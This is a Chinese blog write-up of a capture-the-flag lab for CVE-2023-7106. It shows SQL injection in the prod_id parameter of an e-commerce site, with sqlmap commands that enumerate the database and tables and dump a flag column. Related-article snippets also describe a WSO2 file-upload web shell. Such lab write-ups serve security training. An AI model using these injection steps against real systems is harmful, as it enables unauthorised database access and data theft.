春秋云境 | SQL | CVE-2023-7106

最新推荐文章于 2024-08-12 14:30:00 发布
最新推荐文章于 2024-08-12 14:30:00 发布
阅读量295 收藏 5
点赞数 7
分类专栏： 春秋云境靶场 文章标签： sql 数据库 web安全 网络安全 安全 经验分享
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_68416970/article/details/141089582
版权

目录

靶标介绍

开启靶场

sqlmap 获取当前数据库名

sqlmap 获取数据库中的表

sqlmap 获取表中字段名

sqlmap 获取字段下的数据

靶标介绍

E-Commerce Website 1.0 允许通过“/pages/product_details.php”中的参数“prod_id”进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据，或者利用底层数据库中的最新漏洞。

开启靶场

根据靶标介绍，允许通过“/pages/product_details.php”中的参数“prod_id”进行 SQL 注入，然后构造 URL“/pages/product_details.php/?prod_id=1”

sqlmap 获取当前数据库名

python sqlmap.py -u "http://eci-2zehg568bnooyrfyzzie.cloudeci1.ichunqiu.com/pages/product_details.php/?prod_id=1" --batch --current-db

sqlmap 获取数据库中的表

python sqlmap.py -u "http://eci-2zehg568bnooyrfyzzie.cloudeci1.ichunqiu.com/pages/product_details.php/?prod_id=1" --batch -D electricks --tables

发现可疑表名“flllaaaag”

sqlmap 获取表中字段名

python sqlmap.py -u "http://eci-2zehg568bnooyrfyzzie.cloudeci1.ichunqiu.com/pages/product_details.php/?prod_id=1" --batch -D electricks -T flllaaaag --columns

发现字段名 flag

sqlmap 获取字段下的数据

python sqlmap.py -u "http://eci-2zehg568bnooyrfyzzie.cloudeci1.ichunqiu.com/pages/product_details.php/?prod_id=1" --batch -D electricks -T flllaaaag -C flag --dump

得到了本关的 flag

燕雀安知鸿鹄之志哉.
关注
  • 7
    点赞
  • 踩
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
春秋云境 CVE-2022-4230 夺旗
05-02
### 春秋云境 CVE-2022-4230 夺旗知识点解析 #### 一、漏洞概述 **CVE-2022-4230** 是一个存在于 **WP Statistics** WordPress 插件（版本13.2.9及以前）中的安全漏洞。该漏洞的主要原因是插件在处理特定参数时...
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
春秋云境CVE-2023-7130
2303_76653367的博客
05-09 514
College Notes Gallery 2.0 允许通过“/notes/login.php”中的参数‘user’进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据.
春秋云境CVE-2023-50563
2303_76653367的博客
05-16 557
SEMCMS是一套支持多种语言的外贸网站内容管理系统（CMS）。SEMCMS v4.8版本存在SQLI，该漏洞源于SEMCMS_Function.php 中的 AID 参数包含 SQL 注入。
春秋云境 | SQL | CVE-2023-2130
weixin_68416970的博客
08-10 421
在SourceCodester采购订单管理系统1.0中发现了一项被分类为关键的漏洞。受影响的是组件GET参数处理器的文件/admin/suppliers/view_details.php中的一个未知函数。对参数id的操纵导致了SQL注入。可以远程发起攻击。
春秋云境 | SQL | CVE-2023-7107
weixin_68416970的博客
08-11 304
E-Commerce Website 1.0 允许通过“/pages/user_signup.php”中的参数‘firstname’、‘middlename’、‘email’、‘address’、‘contact’和‘username’进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据，或者利用底层数据库中的最新漏洞。
春秋云境 | SQL | CVE-2023-0562
weixin_68416970的博客
08-11 307
银行储物柜管理系统是一个基于网络的应用程序，用于处理存储银行客户贵重物品的银行储物柜。储物柜的所有详细信息都保存在数据库中。银行储物柜管理系统项目是使用 PHP 和 MySQLi 扩展开发的。
春秋云境 | SQL | CVE-2023-7130
weixin_68416970的博客
08-11 250
College Notes Gallery 2.0 允许通过“/notes/login.php”中的参数‘user’进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据。
春秋云境 | SQL | CVE-2023-7105
最新发布
weixin_68416970的博客
08-12 134
E-Commerce Website 1.0 允许通过“index_search.php”中的参数“search”进行 SQL 注入。利用这个问题可能会使攻击者有机会破坏应用程序，访问或修改数据，或者利用底层数据库中的最新漏洞。
春秋云境CVE-2023-48864
2303_76653367的博客
05-09 477
SEMCMS是一套支持多种语言的外贸网站内容管理系统（CMS）。SEMCMS v4.8版本存在安全漏洞，该漏洞源于通过 /web_inc.php 中的 languageID 参数发现包含 SQL 注入漏洞。并没有什么线索啊，一开始我还以为是搜索框存在SQL注入，结果并不是。思路还是不够开阔，一直想着对搜索框进行sql注入，结果还是在参考了。2.御剑扫后台，发现install。5.选一个商品，点击批量上架，抓包。3.进入install,开始安装。第一次做这种，思维还是太局限了。4.记住密码，转到后台。
春秋云境CVE-2023-52064
shr592833253的博客
04-08 739
在kali上执行命令 sqlmap -r xxx.txt --dbs --batch (xxx.txt为你所构造的POC)最后执行 sqlmap -r xxx.txt -D wuzhicms -T flllaaaag -C flag --dump。再次执行 sqlmap -r xxx.txt -D wuzhicms -T flllaaaag --columns。然后执行 sqlmap -r xxx.txt -D wuzhicms --tables。在尝试目录扫描后未发现有用的路径。
OpenSSH(CVE-2023-38408)一键升级修复-OpenSSH9.5p1
10-17
在2023年，OpenSSH发现了一个名为CVE-2023-38408的安全漏洞，这个漏洞可能允许攻击者在特定条件下绕过身份验证或执行未授权的操作，对系统安全构成威胁。为了保护您的系统不受此漏洞影响，及时升级到OpenSSH 9.5p1...
kubernetes集群部署sql server数据库服务
jiang0615csdn的博客
08-08 452
kubernetes集群部署sql server数据库服务
dbeaver 导入sql 报错，ERROR 2059 (HY000)
hyq_07_27的博客
08-07 251
ERROR 2059 (HY000): Authentication plugin ‘caching_sha2_password’ cannot be loaded: 鎵句笉鍒版寚瀹氱殑妯″潡銆�。下载后解压压缩包，点击“添加数据库地址”按钮，选择新的MySQL8的所在目录.再次导入就可以了。可以下载 MySQL免安装版配置教程mysql-8.0.39-winx64.zip。先mysql连接设置，查看一下dbeaver的mysql 版本，是5.5.62.版本问题，MySQL8之后更换了密码认证策略。
QSqlQueryModel与QSqlTableModel查询数据库
weixin_39688581的博客
08-08 196
项目中需要对数据进行查询与展示，数据量不大，使用的是sqlite数据库，将使用过程记录如下。
达梦数据库(十) -------- mybatis-plus 整合达梦时，自动生成的 sql 语句报错
weixin_52466601的博客
08-09 456
问题原因：mybatis-plus 生成的 sql 语句字段是小写的，同时还包含数据库关键字。框架会默认加上（`）符号，该符号在达梦数据库中无法被识别，需要更换为 （"）。方案二：修改实体类的字段名称避免使用达梦数据库关键字。
春秋云境：CVE-2022-29464
07-28
根据引用\[1\]，CVE-2022-29464是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE（远程命令执行）权限。 根据引用\[2\]，攻击者可以通过上传名为1.jsp的恶意文件来利用该漏洞。该文件包含了一个表单，其中包含一个名为"cmd"的输入框，攻击者可以在此输入框中输入命令，并通过点击"Run"按钮来执行该命令。该文件还包含了Java代码，用于执行命令并将输出返回给攻击者。 根据引用\[3\]，该漏洞的受攻击的上传路由是/fileupload，由FileUploadServlet处理。而Identity.xml是一个配置文件，该文件上的路由（/fileupload）不受IAM（身份和访问管理）保护。 综上所述，CVE-2022-29464是一个严重的漏洞，允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得远程命令执行权限。 #### 引用[.reference_title] - *1* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/ZXW_NUDT/article/details/129159816)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [漏洞复现 a.WSO2 文件上传 （CVE-2022-29464)](https://blog.csdn.net/FODKING/article/details/125746993)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值